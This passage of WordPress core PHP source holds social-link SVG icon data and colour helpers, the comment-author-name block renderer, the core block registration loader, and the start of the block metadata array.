25.9403832,64.5292172 28.9700376,63.3244248 Z" /></svg>',
		),
		'threads'       => array(
			'name' => 'Threads',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M16.3 11.3c-.1 0-.2-.1-.2-.1-.1-2.6-1.5-4-3.9-4-1.4 0-2.6.6-3.3 1.7l1.3.9c.5-.8 1.4-1 2-1 .8 0 1.4.2 1.7.7.3.3.5.8.5 1.3-.7-.1-1.4-.2-2.2-.1-2.2.1-3.7 1.4-3.6 3.2 0 .9.5 1.7 1.3 2.2.7.4 1.5.6 2.4.6 1.2-.1 2.1-.5 2.7-1.3.5-.6.8-1.4.9-2.4.6.3 1 .8 1.2 1.3.4.9.4 2.4-.8 3.6-1.1 1.1-2.3 1.5-4.3 1.5-2.1 0-3.8-.7-4.8-2S5.7 14.3 5.7 12c0-2.3.5-4.1 1.5-5.4 1.1-1.3 2.7-2 4.8-2 2.2 0 3.8.7 4.9 2 .5.7.9 1.5 1.2 2.5l1.5-.4c-.3-1.2-.8-2.2-1.5-3.1-1.3-1.7-3.3-2.6-6-2.6-2.6 0-4.7.9-6 2.6C4.9 7.2 4.3 9.3 4.3 12s.6 4.8 1.9 6.4c1.4 1.7 3.4 2.6 6 2.6 2.3 0 4-.6 5.3-2 1.8-1.8 1.7-4 1.1-5.4-.4-.9-1.2-1.7-2.3-2.3zm-4 3.8c-1 .1-2-.4-2-1.3 0-.7.5-1.5 2.1-1.6h.5c.6 0 1.1.1 1.6.2-.2 2.3-1.3 2.7-2.2 2.7z"/></svg>',
		),
		'tiktok'        => array(
			'name' => 'TikTok',
			'icon' => '<svg width="24" height="24" viewBox="0 0 32 32" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M16.708 0.027c1.745-0.027 3.48-0.011 5.213-0.027 0.105 2.041 0.839 4.12 2.333 5.563 1.491 1.479 3.6 2.156 5.652 2.385v5.369c-1.923-0.063-3.855-0.463-5.6-1.291-0.76-0.344-1.468-0.787-2.161-1.24-0.009 3.896 0.016 7.787-0.025 11.667-0.104 1.864-0.719 3.719-1.803 5.255-1.744 2.557-4.771 4.224-7.88 4.276-1.907 0.109-3.812-0.411-5.437-1.369-2.693-1.588-4.588-4.495-4.864-7.615-0.032-0.667-0.043-1.333-0.016-1.984 0.24-2.537 1.495-4.964 3.443-6.615 2.208-1.923 5.301-2.839 8.197-2.297 0.027 1.975-0.052 3.948-0.052 5.923-1.323-0.428-2.869-0.308-4.025 0.495-0.844 0.547-1.485 1.385-1.819 2.333-0.276 0.676-0.197 1.427-0.181 2.145 0.317 2.188 2.421 4.027 4.667 3.828 1.489-0.016 2.916-0.88 3.692-2.145 0.251-0.443 0.532-0.896 0.547-1.417 0.131-2.385 0.079-4.76 0.095-7.145 0.011-5.375-0.016-10.735 0.025-16.093z" /></svg>',
		),
		'tumblr'        => array(
			'name' => 'Tumblr',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M17.04 21.28h-3.28c-2.84 0-4.94-1.37-4.94-5.02v-5.67H6.08V7.5c2.93-.73 4.11-3.3 4.3-5.48h3.01v4.93h3.47v3.65H13.4v4.93c0 1.47.73 2.01 1.92 2.01h1.73v3.75z" /></path></svg>',
		),
		'twitch'        => array(
			'name' => 'Twitch',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M16.499,8.089h-1.636v4.91h1.636V8.089z M12,8.089h-1.637v4.91H12V8.089z M4.228,3.178L3,6.451v13.092h4.499V22h2.456 l2.454-2.456h3.681L21,14.636V3.178H4.228z M19.364,13.816l-2.864,2.865H12l-2.453,2.453V16.68H5.863V4.814h13.501V13.816z"></path></svg>',
		),
		'twitter'       => array(
			'name' => 'Twitter',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22.23,5.924c-0.736,0.326-1.527,0.547-2.357,0.646c0.847-0.508,1.498-1.312,1.804-2.27 c-0.793,0.47-1.671,0.812-2.606,0.996C18.324,4.498,17.257,4,16.077,4c-2.266,0-4.103,1.837-4.103,4.103 c0,0.322,0.036,0.635,0.106,0.935C8.67,8.867,5.647,7.234,3.623,4.751C3.27,5.357,3.067,6.062,3.067,6.814 c0,1.424,0.724,2.679,1.825,3.415c-0.673-0.021-1.305-0.206-1.859-0.513c0,0.017,0,0.034,0,0.052c0,1.988,1.414,3.647,3.292,4.023 c-0.344,0.094-0.707,0.144-1.081,0.144c-0.264,0-0.521-0.026-0.772-0.074c0.522,1.63,2.038,2.816,3.833,2.85 c-1.404,1.1-3.174,1.756-5.096,1.756c-0.331,0-0.658-0.019-0.979-0.057c1.816,1.164,3.973,1.843,6.29,1.843 c7.547,0,11.675-6.252,11.675-11.675c0-0.178-0.004-0.355-0.012-0.531C20.985,7.47,21.68,6.747,22.23,5.924z"></path></svg>',
		),
		'vimeo'         => array(
			'name' => 'Vimeo',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22.396,7.164c-0.093,2.026-1.507,4.799-4.245,8.32C15.322,19.161,12.928,21,10.97,21c-1.214,0-2.24-1.119-3.079-3.359 c-0.56-2.053-1.119-4.106-1.68-6.159C5.588,9.243,4.921,8.122,4.206,8.122c-0.156,0-0.701,0.328-1.634,0.98L1.594,7.841 c1.027-0.902,2.04-1.805,3.037-2.708C6.001,3.95,7.03,3.327,7.715,3.264c1.619-0.156,2.616,0.951,2.99,3.321 c0.404,2.557,0.685,4.147,0.841,4.769c0.467,2.121,0.981,3.181,1.542,3.181c0.435,0,1.09-0.688,1.963-2.065 c0.871-1.376,1.338-2.422,1.401-3.142c0.125-1.187-0.343-1.782-1.401-1.782c-0.498,0-1.012,0.115-1.541,0.341 c1.023-3.35,2.977-4.977,5.862-4.884C21.511,3.066,22.52,4.453,22.396,7.164z"></path></svg>',
		),
		'vk'            => array(
			'name' => 'VK',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M22,7.1c0.2,0.4-0.4,1.5-1.6,3.1c-0.2,0.2-0.4,0.5-0.7,0.9c-0.5,0.7-0.9,1.1-0.9,1.4c-0.1,0.3-0.1,0.6,0.1,0.8 c0.1,0.1,0.4,0.4,0.8,0.9h0l0,0c1,0.9,1.6,1.7,2,2.3c0,0,0,0.1,0.1,0.1c0,0.1,0,0.1,0.1,0.3c0,0.1,0,0.2,0,0.4 c0,0.1-0.1,0.2-0.3,0.3c-0.1,0.1-0.4,0.1-0.6,0.1l-2.7,0c-0.2,0-0.4,0-0.6-0.1c-0.2-0.1-0.4-0.1-0.5-0.2l-0.2-0.1 c-0.2-0.1-0.5-0.4-0.7-0.7s-0.5-0.6-0.7-0.8c-0.2-0.2-0.4-0.4-0.6-0.6C14.8,15,14.6,15,14.4,15c0,0,0,0-0.1,0c0,0-0.1,0.1-0.2,0.2 c-0.1,0.1-0.2,0.2-0.2,0.3c-0.1,0.1-0.1,0.3-0.2,0.5c-0.1,0.2-0.1,0.5-0.1,0.8c0,0.1,0,0.2,0,0.3c0,0.1-0.1,0.2-0.1,0.2l0,0.1 c-0.1,0.1-0.3,0.2-0.6,0.2h-1.2c-0.5,0-1,0-1.5-0.2c-0.5-0.1-1-0.3-1.4-0.6s-0.7-0.5-1.1-0.7s-0.6-0.4-0.7-0.6l-0.3-0.3 c-0.1-0.1-0.2-0.2-0.3-0.3s-0.4-0.5-0.7-0.9s-0.7-1-1.1-1.6c-0.4-0.6-0.8-1.3-1.3-2.2C2.9,9.4,2.5,8.5,2.1,7.5C2,7.4,2,7.3,2,7.2 c0-0.1,0-0.1,0-0.2l0-0.1c0.1-0.1,0.3-0.2,0.6-0.2l2.9,0c0.1,0,0.2,0,0.2,0.1S5.9,6.9,5.9,7L6,7c0.1,0.1,0.2,0.2,0.3,0.3 C6.4,7.7,6.5,8,6.7,8.4C6.9,8.8,7,9,7.1,9.2l0.2,0.3c0.2,0.4,0.4,0.8,0.6,1.1c0.2,0.3,0.4,0.5,0.5,0.7s0.3,0.3,0.4,0.4 c0.1,0.1,0.3,0.1,0.4,0.1c0.1,0,0.2,0,0.3-0.1c0,0,0,0,0.1-0.1c0,0,0.1-0.1,0.1-0.2c0.1-0.1,0.1-0.3,0.1-0.5c0-0.2,0.1-0.5,0.1-0.8 c0-0.4,0-0.8,0-1.3c0-0.3,0-0.5-0.1-0.8c0-0.2-0.1-0.4-0.1-0.5L9.6,7.6C9.4,7.3,9.1,7.2,8.7,7.1C8.6,7.1,8.6,7,8.7,6.9 C8.9,6.7,9,6.6,9.1,6.5c0.4-0.2,1.2-0.3,2.5-0.3c0.6,0,1,0.1,1.4,0.1c0.1,0,0.3,0.1,0.3,0.1c0.1,0.1,0.2,0.1,0.2,0.3 c0,0.1,0.1,0.2,0.1,0.3s0,0.3,0,0.5c0,0.2,0,0.4,0,0.6c0,0.2,0,0.4,0,0.7c0,0.3,0,0.6,0,0.9c0,0.1,0,0.2,0,0.4c0,0.2,0,0.4,0,0.5 c0,0.1,0,0.3,0,0.4s0.1,0.3,0.1,0.4c0.1,0.1,0.1,0.2,0.2,0.3c0.1,0,0.1,0,0.2,0c0.1,0,0.2,0,0.3-0.1c0.1-0.1,0.2-0.2,0.4-0.4 s0.3-0.4,0.5-0.7c0.2-0.3,0.5-0.7,0.7-1.1c0.4-0.7,0.8-1.5,1.1-2.3c0-0.1,0.1-0.1,0.1-0.2c0-0.1,0.1-0.1,0.1-0.1l0,0l0.1,0 c0,0,0,0,0.1,0s0.2,0,0.2,0l3,0c0.3,0,0.5,0,0.7,0S21.9,7,21.9,7L22,7.1z"></path></svg>',
		),
		'wordpress'     => array(
			'name' => 'WordPress',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.158,12.786L9.46,20.625c0.806,0.237,1.657,0.366,2.54,0.366c1.047,0,2.051-0.181,2.986-0.51 c-0.024-0.038-0.046-0.079-0.065-0.124L12.158,12.786z M3.009,12c0,3.559,2.068,6.634,5.067,8.092L3.788,8.341 C3.289,9.459,3.009,10.696,3.009,12z M18.069,11.546c0-1.112-0.399-1.881-0.741-2.48c-0.456-0.741-0.883-1.368-0.883-2.109 c0-0.826,0.627-1.596,1.51-1.596c0.04,0,0.078,0.005,0.116,0.007C16.472,3.904,14.34,3.009,12,3.009 c-3.141,0-5.904,1.612-7.512,4.052c0.211,0.007,0.41,0.011,0.579,0.011c0.94,0,2.396-0.114,2.396-0.114 C7.947,6.93,8.004,7.642,7.52,7.699c0,0-0.487,0.057-1.029,0.085l3.274,9.739l1.968-5.901l-1.401-3.838 C9.848,7.756,9.389,7.699,9.389,7.699C8.904,7.67,8.961,6.93,9.446,6.958c0,0,1.484,0.114,2.368,0.114 c0.94,0,2.397-0.114,2.397-0.114c0.485-0.028,0.542,0.684,0.057,0.741c0,0-0.488,0.057-1.029,0.085l3.249,9.665l0.897-2.996 C17.841,13.284,18.069,12.316,18.069,11.546z M19.889,7.686c0.039,0.286,0.06,0.593,0.06,0.924c0,0.912-0.171,1.938-0.684,3.22 l-2.746,7.94c2.673-1.558,4.47-4.454,4.47-7.771C20.991,10.436,20.591,8.967,19.889,7.686z M12,22C6.486,22,2,17.514,2,12 C2,6.486,6.486,2,12,2c5.514,0,10,4.486,10,10C22,17.514,17.514,22,12,22z"></path></svg>',
		),
		'whatsapp'      => array(
			'name' => 'WhatsApp',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M 12.011719 2 C 6.5057187 2 2.0234844 6.478375 2.0214844 11.984375 C 2.0204844 13.744375 2.4814687 15.462563 3.3554688 16.976562 L 2 22 L 7.2324219 20.763672 C 8.6914219 21.559672 10.333859 21.977516 12.005859 21.978516 L 12.009766 21.978516 C 17.514766 21.978516 21.995047 17.499141 21.998047 11.994141 C 22.000047 9.3251406 20.962172 6.8157344 19.076172 4.9277344 C 17.190172 3.0407344 14.683719 2.001 12.011719 2 z M 12.009766 4 C 14.145766 4.001 16.153109 4.8337969 17.662109 6.3417969 C 19.171109 7.8517969 20.000047 9.8581875 19.998047 11.992188 C 19.996047 16.396187 16.413812 19.978516 12.007812 19.978516 C 10.674812 19.977516 9.3544062 19.642812 8.1914062 19.007812 L 7.5175781 18.640625 L 6.7734375 18.816406 L 4.8046875 19.28125 L 5.2851562 17.496094 L 5.5019531 16.695312 L 5.0878906 15.976562 C 4.3898906 14.768562 4.0204844 13.387375 4.0214844 11.984375 C 4.0234844 7.582375 7.6067656 4 12.009766 4 z M 8.4765625 7.375 C 8.3095625 7.375 8.0395469 7.4375 7.8105469 7.6875 C 7.5815469 7.9365 6.9355469 8.5395781 6.9355469 9.7675781 C 6.9355469 10.995578 7.8300781 12.182609 7.9550781 12.349609 C 8.0790781 12.515609 9.68175 15.115234 12.21875 16.115234 C 14.32675 16.946234 14.754891 16.782234 15.212891 16.740234 C 15.670891 16.699234 16.690438 16.137687 16.898438 15.554688 C 17.106437 14.971687 17.106922 14.470187 17.044922 14.367188 C 16.982922 14.263188 16.816406 14.201172 16.566406 14.076172 C 16.317406 13.951172 15.090328 13.348625 14.861328 13.265625 C 14.632328 13.182625 14.464828 13.140625 14.298828 13.390625 C 14.132828 13.640625 13.655766 14.201187 13.509766 14.367188 C 13.363766 14.534188 13.21875 14.556641 12.96875 14.431641 C 12.71875 14.305641 11.914938 14.041406 10.960938 13.191406 C 10.218937 12.530406 9.7182656 11.714844 9.5722656 11.464844 C 9.4272656 11.215844 9.5585938 11.079078 9.6835938 10.955078 C 9.7955938 10.843078 9.9316406 10.663578 10.056641 10.517578 C 10.180641 10.371578 10.223641 10.267562 10.306641 10.101562 C 10.389641 9.9355625 10.347156 9.7890625 10.285156 9.6640625 C 10.223156 9.5390625 9.737625 8.3065 9.515625 7.8125 C 9.328625 7.3975 9.131125 7.3878594 8.953125 7.3808594 C 8.808125 7.3748594 8.6425625 7.375 8.4765625 7.375 z"></path></svg>',
		),
		'x'             => array(
			'name' => 'X',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M13.982 10.622 20.54 3h-1.554l-5.693 6.618L8.745 3H3.5l6.876 10.007L3.5 21h1.554l6.012-6.989L15.868 21h5.245l-7.131-10.378Zm-2.128 2.474-.697-.997-5.543-7.93H8l4.474 6.4.697.996 5.815 8.318h-2.387l-4.745-6.787Z" /></svg>',
		),
		'yelp'          => array(
			'name' => 'Yelp',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M12.271,16.718v1.417q-.011,3.257-.067,3.4a.707.707,0,0,1-.569.446,4.637,4.637,0,0,1-2.024-.424A4.609,4.609,0,0,1,7.8,20.565a.844.844,0,0,1-.19-.4.692.692,0,0,1,.044-.29,3.181,3.181,0,0,1,.379-.524q.335-.412,2.019-2.409.011,0,.669-.781a.757.757,0,0,1,.44-.274.965.965,0,0,1,.552.039.945.945,0,0,1,.418.324.732.732,0,0,1,.139.468Zm-1.662-2.8a.783.783,0,0,1-.58.781l-1.339.435q-3.067.981-3.257.981a.711.711,0,0,1-.6-.4,2.636,2.636,0,0,1-.19-.836,9.134,9.134,0,0,1,.011-1.857,3.559,3.559,0,0,1,.335-1.389.659.659,0,0,1,.625-.357,22.629,22.629,0,0,1,2.253.859q.781.324,1.283.524l.937.379a.771.771,0,0,1,.4.34A.982.982,0,0,1,10.609,13.917Zm9.213,3.313a4.467,4.467,0,0,1-1.021,1.8,4.559,4.559,0,0,1-1.512,1.417.671.671,0,0,1-.7-.078q-.156-.112-2.052-3.2l-.524-.859a.761.761,0,0,1-.128-.513.957.957,0,0,1,.217-.513.774.774,0,0,1,.926-.29q.011.011,1.327.446,2.264.736,2.7.887a2.082,2.082,0,0,1,.524.229.673.673,0,0,1,.245.68Zm-7.5-7.049q.056,1.137-.6,1.361-.647.19-1.272-.792L6.237,4.08a.7.7,0,0,1,.212-.691,5.788,5.788,0,0,1,2.314-1,5.928,5.928,0,0,1,2.5-.352.681.681,0,0,1,.547.5q.034.2.245,3.407T12.327,10.181Zm7.384,1.2a.679.679,0,0,1-.29.658q-.167.112-3.67.959-.747.167-1.015.257l.011-.022a.769.769,0,0,1-.513-.044.914.914,0,0,1-.413-.357.786.786,0,0,1,0-.971q.011-.011.836-1.137,1.394-1.908,1.673-2.275a2.423,2.423,0,0,1,.379-.435A.7.7,0,0,1,17.435,8a4.482,4.482,0,0,1,1.372,1.489,4.81,4.81,0,0,1,.9,1.868v.034Z"></path></svg>',
		),
		'youtube'       => array(
			'name' => 'YouTube',
			'icon' => '<svg width="24" height="24" viewBox="0 0 24 24" version="1.1" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" focusable="false"><path d="M21.8,8.001c0,0-0.195-1.378-0.795-1.985c-0.76-0.797-1.613-0.801-2.004-0.847c-2.799-0.202-6.997-0.202-6.997-0.202 h-0.009c0,0-4.198,0-6.997,0.202C4.608,5.216,3.756,5.22,2.995,6.016C2.395,6.623,2.2,8.001,2.2,8.001S2,9.62,2,11.238v1.517 c0,1.618,0.2,3.237,0.2,3.237s0.195,1.378,0.795,1.985c0.761,0.797,1.76,0.771,2.205,0.855c1.6,0.153,6.8,0.201,6.8,0.201 s4.203-0.006,7.001-0.209c0.391-0.047,1.243-0.051,2.004-0.847c0.6-0.607,0.795-1.985,0.795-1.985s0.2-1.618,0.2-3.237v-1.517 C22,9.62,21.8,8.001,21.8,8.001z M9.935,14.594l-0.001-5.62l5.404,2.82L9.935,14.594z"></path></svg>',
		),
	);

	if ( ! empty( $service )
		&& ! empty( $field )
		&& isset( $services_data[ $service ] )
		&& ( 'icon' === $field || 'name' === $field )
	) {
		return $services_data[ $service ][ $field ];
	} elseif ( ! empty( $service ) && isset( $services_data[ $service ] ) ) {
		return $services_data[ $service ];
	}

	return $services_data;
}

/**
 * Returns CSS styles for icon and icon background colors.
 *
 * @param array $context Block context passed to Social Link.
 *
 * @return string Inline CSS styles for link's icon and background colors.
 */
function block_core_social_link_get_color_styles( $context ) {
	$styles = array();

	if ( array_key_exists( 'iconColorValue', $context ) ) {
		$styles[] = 'color: ' . $context['iconColorValue'] . '; ';
	}

	if ( array_key_exists( 'iconBackgroundColorValue', $context ) ) {
		$styles[] = 'background-color: ' . $context['iconBackgroundColorValue'] . '; ';
	}

	return implode( '', $styles );
}

/**
 * Returns CSS classes for icon and icon background colors.
 *
 * @param array $context Block context passed to Social Sharing Link.
 *
 * @return string CSS classes for link's icon and background colors.
 */
function block_core_social_link_get_color_classes( $context ) {
	$classes = array();

	if ( array_key_exists( 'iconColor', $context ) ) {
		$classes[] = 'has-' . $context['iconColor'] . '-color';
	}

	if ( array_key_exists( 'iconBackgroundColor', $context ) ) {
		$classes[] = 'has-' . $context['iconBackgroundColor'] . '-background-color';
	}

	return ' ' . implode( ' ', $classes );
}
<?php
/**
 * Server-side rendering of the `core/comment-author-name` block.
 *
 * @package WordPress
 */

/**
 * Renders the `core/comment-author-name` block on the server.
 *
 * @param array    $attributes Block attributes.
 * @param string   $content    Block default content.
 * @param WP_Block $block      Block instance.
 * @return string Return the post comment's author.
 */
function render_block_core_comment_author_name( $attributes, $content, $block ) {
	if ( ! isset( $block->context['commentId'] ) ) {
		return '';
	}

	$comment            = get_comment( $block->context['commentId'] );
	$commenter          = wp_get_current_commenter();
	$show_pending_links = isset( $commenter['comment_author'] ) && $commenter['comment_author'];
	if ( empty( $comment ) ) {
		return '';
	}

	$classes = array();
	if ( isset( $attributes['textAlign'] ) ) {
		$classes[] = 'has-text-align-' . $attributes['textAlign'];
	}
	if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) {
		$classes[] = 'has-link-color';
	}

	$wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) );
	$comment_author     = get_comment_author( $comment );
	$link               = get_comment_author_url( $comment );

	if ( ! empty( $link ) && ! empty( $attributes['isLink'] ) && ! empty( $attributes['linkTarget'] ) ) {
		$comment_author = sprintf( '<a rel="external nofollow ugc" href="%1s" target="%2s" >%3s</a>', esc_url( $link ), esc_attr( $attributes['linkTarget'] ), $comment_author );
	}
	if ( '0' === $comment->comment_approved && ! $show_pending_links ) {
		$comment_author = wp_kses( $comment_author, array() );
	}

	return sprintf(
		'<div %1$s>%2$s</div>',
		$wrapper_attributes,
		$comment_author
	);
}

/**
 * Registers the `core/comment-author-name` block on the server.
 */
function register_block_core_comment_author_name() {
	register_block_type_from_metadata(
		__DIR__ . '/comment-author-name',
		array(
			'render_callback' => 'render_block_core_comment_author_name',
		)
	);
}
add_action( 'init', 'register_block_core_comment_author_name' );
<?php
/**
 * Used to set up all core blocks used with the block editor.
 *
 * @package WordPress
 */

define( 'BLOCKS_PATH', ABSPATH . WPINC . '/blocks/' );

// Include files required for core blocks registration.
require BLOCKS_PATH . 'legacy-widget.php';
require BLOCKS_PATH . 'widget-group.php';
require BLOCKS_PATH . 'require-dynamic-blocks.php';

/**
 * Registers core block style handles.
 *
 * While {@see register_block_style_handle()} is typically used for that, the way it is
 * implemented is inefficient for core block styles. Registering those style handles here
 * avoids unnecessary logic and filesystem lookups in the other function.
 *
 * @since 6.3.0
 *
 * @global string $wp_version The WordPress version string.
 */
function register_core_block_style_handles() {
	global $wp_version;

	if ( ! wp_should_load_separate_core_block_assets() ) {
		return;
	}

	$blocks_url   = includes_url( 'blocks/' );
	$suffix       = wp_scripts_get_suffix();
	$wp_styles    = wp_styles();
	$style_fields = array(
		'style'       => 'style',
		'editorStyle' => 'editor',
	);

	static $core_blocks_meta;
	if ( ! $core_blocks_meta ) {
		$core_blocks_meta = require BLOCKS_PATH . 'blocks-json.php';
	}

	$files          = false;
	$transient_name = 'wp_core_block_css_files';

	/*
	 * Ignore transient cache when the development mode is set to 'core'. Why? To avoid interfering with
	 * the core developer's workflow.
	 */
	$can_use_cached = ! wp_is_development_mode( 'core' );

	if ( $can_use_cached ) {
		$cached_files = get_transient( $transient_name );

		// Check the validity of cached values by checking against the current WordPress version.
		if (
			is_array( $cached_files )
			&& isset( $cached_files['version'] )
			&& $cached_files['version'] === $wp_version
			&& isset( $cached_files['files'] )
		) {
			$files = $cached_files['files'];
		}
	}

	if ( ! $files ) {
		$files = glob( wp_normalize_path( BLOCKS_PATH . '**/**.css' ) );

		// Normalize BLOCKS_PATH prior to substitution for Windows environments.
		$normalized_blocks_path = wp_normalize_path( BLOCKS_PATH );

		$files = array_map(
			static function ( $file ) use ( $normalized_blocks_path ) {
				return str_replace( $normalized_blocks_path, '', $file );
			},
			$files
		);

		// Save core block style paths in cache when not in development mode.
		if ( $can_use_cached ) {
			set_transient(
				$transient_name,
				array(
					'version' => $wp_version,
					'files'   => $files,
				)
			);
		}
	}

	$register_style = static function ( $name, $filename, $style_handle ) use ( $blocks_url, $suffix, $wp_styles, $files ) {
		$style_path = "{$name}/{$filename}{$suffix}.css";
		$path       = wp_normalize_path( BLOCKS_PATH . $style_path );

		if ( ! in_array( $style_path, $files, true ) ) {
			$wp_styles->add(
				$style_handle,
				false
			);
			return;
		}

		$wp_styles->add( $style_handle, $blocks_url . $style_path );
		$wp_styles->add_data( $style_handle, 'path', $path );

		$rtl_file = "{$name}/{$filename}-rtl{$suffix}.css";
		if ( is_rtl() && in_array( $rtl_file, $files, true ) ) {
			$wp_styles->add_data( $style_handle, 'rtl', 'replace' );
			$wp_styles->add_data( $style_handle, 'suffix', $suffix );
			$wp_styles->add_data( $style_handle, 'path', str_replace( "{$suffix}.css", "-rtl{$suffix}.css", $path ) );
		}
	};

	foreach ( $core_blocks_meta as $name => $schema ) {
		/** This filter is documented in wp-includes/blocks.php */
		$schema = apply_filters( 'block_type_metadata', $schema );

		// Backfill these properties similar to `register_block_type_from_metadata()`.
		if ( ! isset( $schema['style'] ) ) {
			$schema['style'] = "wp-block-{$name}";
		}
		if ( ! isset( $schema['editorStyle'] ) ) {
			$schema['editorStyle'] = "wp-block-{$name}-editor";
		}

		// Register block theme styles.
		$register_style( $name, 'theme', "wp-block-{$name}-theme" );

		foreach ( $style_fields as $style_field => $filename ) {
			$style_handle = $schema[ $style_field ];
			if ( is_array( $style_handle ) ) {
				continue;
			}
			$register_style( $name, $filename, $style_handle );
		}
	}
}
add_action( 'init', 'register_core_block_style_handles', 9 );

/**
 * Registers core block types using metadata files.
 * Dynamic core blocks are registered separately.
 *
 * @since 5.5.0
 */
function register_core_block_types_from_metadata() {
	$block_folders = require BLOCKS_PATH . 'require-static-blocks.php';
	foreach ( $block_folders as $block_folder ) {
		register_block_type_from_metadata(
			BLOCKS_PATH . $block_folder
		);
	}
}
add_action( 'init', 'register_core_block_types_from_metadata' );
<?php return array(
  'archives' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/archives',
    'title' => 'Archives',
    'category' => 'widgets',
    'description' => 'Display a date archive of your posts.',
    'textdomain' => 'default',
    'attributes' => array(
      'displayAsDropdown' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'showLabel' => array(
        'type' => 'boolean',
        'default' => true
      ),
      'showPostCounts' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'type' => array(
        'type' => 'string',
        'default' => 'monthly'
      )
    ),
    'supports' => array(
      'align' => true,
      'html' => false,
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      'typography' => array(
        'fontSize' => true,
        'lineHeight' => true,
        '__experimentalFontFamily' => true,
        '__experimentalFontWeight' => true,
        '__experimentalFontStyle' => true,
        '__experimentalTextTransform' => true,
        '__experimentalTextDecoration' => true,
        '__experimentalLetterSpacing' => true,
        '__experimentalDefaultControls' => array(
          'fontSize' => true
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-archives-editor'
  ),
  'audio' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/audio',
    'title' => 'Audio',
    'category' => 'media',
    'description' => 'Embed a simple audio player.',
    'keywords' => array(
      'music',
      'sound',
      'podcast',
      'recording'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'src' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'audio',
        'attribute' => 'src',
        '__experimentalRole' => 'content'
      ),
      'caption' => array(
        'type' => 'rich-text',
        'source' => 'rich-text',
        'selector' => 'figcaption',
        '__experimentalRole' => 'content'
      ),
      'id' => array(
        'type' => 'number',
        '__experimentalRole' => 'content'
      ),
      'autoplay' => array(
        'type' => 'boolean',
        'source' => 'attribute',
        'selector' => 'audio',
        'attribute' => 'autoplay'
      ),
      'loop' => array(
        'type' => 'boolean',
        'source' => 'attribute',
        'selector' => 'audio',
        'attribute' => 'loop'
      ),
      'preload' => array(
        'type' => 'string',
        'source' => 'attribute',
        'selector' => 'audio',
        'attribute' => 'preload'
      )
    ),
    'supports' => array(
      'anchor' => true,
      'align' => true,
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'editorStyle' => 'wp-block-audio-editor',
    'style' => 'wp-block-audio'
  ),
  'avatar' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/avatar',
    'title' => 'Avatar',
    'category' => 'theme',
    'description' => 'Add a user’s avatar.',
    'textdomain' => 'default',
    'attributes' => array(
      'userId' => array(
        'type' => 'number'
      ),
      'size' => array(
        'type' => 'number',
        'default' => 96
      ),
      'isLink' => array(
        'type' => 'boolean',
        'default' => false
      ),
      'linkTarget' => array(
        'type' => 'string',
        'default' => '_self'
      )
    ),
    'usesContext' => array(
      'postType',
      'postId',
      'commentId'
    ),
    'supports' => array(
      'html' => false,
      'align' => true,
      'alignWide' => false,
      'spacing' => array(
        'margin' => true,
        'padding' => true,
        '__experimentalDefaultControls' => array(
          'margin' => false,
          'padding' => false
        )
      ),
      '__experimentalBorder' => array(
        '__experimentalSkipSerialization' => true,
        'radius' => true,
        'width' => true,
        'color' => true,
        'style' => true,
        '__experimentalDefaultControls' => array(
          'radius' => true
        )
      ),
      'color' => array(
        'text' => false,
        'background' => false,
        '__experimentalDuotone' => 'img'
      ),
      'interactivity' => array(
        'clientNavigation' => true
      )
    ),
    'selectors' => array(
      'border' => '.wp-block-avatar img'
    ),
    'editorStyle' => 'wp-block-avatar-editor',
    'style' => 'wp-block-avatar'
  ),
  'block' => array(
    '$schema' => 'https://schemas.wp.org/trunk/block.json',
    'apiVersion' => 3,
    'name' => 'core/block',
    'title' => 'Pattern',
    'category' => 'reusable',
    'description' => 'Reuse this design across your site.',
    'keywords' => array(
      'reusable'
    ),
    'textdomain' => 'default',
    'attributes' => array(
      'ref' => array(
        'type' => 'number'
      ),
      'content' => array(
        'type' => 'object'
      )
    ),
    'supports' => array(
      'customClassName' => false,
      'html' => false,
      'inserter' => false,
      'renaming' => false,
      'interactivity' => array(
        'clientNavigation' => true
      )
